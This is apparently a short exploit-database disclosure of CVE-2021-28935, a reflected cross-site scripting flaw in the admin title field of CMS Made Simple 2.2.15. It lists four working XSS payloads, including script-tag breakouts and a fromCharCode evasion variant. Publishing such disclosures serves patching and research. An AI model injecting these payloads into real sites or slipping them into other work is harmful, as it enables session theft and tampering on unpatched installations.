CMS Made Simple 2.2.15 – ‘title’ Cross-Site Scripting (XSS)
# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS) # Date: 2021/03/19 # Exploit Author: bt0 # Vendor Homepage: http://www.cmsmadesimple.org/ # Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip # Version: 2.2.15 # CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935 ----------------------------------------------------------- If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field Reflected XSS in /admin/addbookmark.php Some payloads that works: "><script>prompt(1)</script><" "><script>alert(1)</script><" 63311';alert(1)//812 //--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ------------------------------------------------------------ |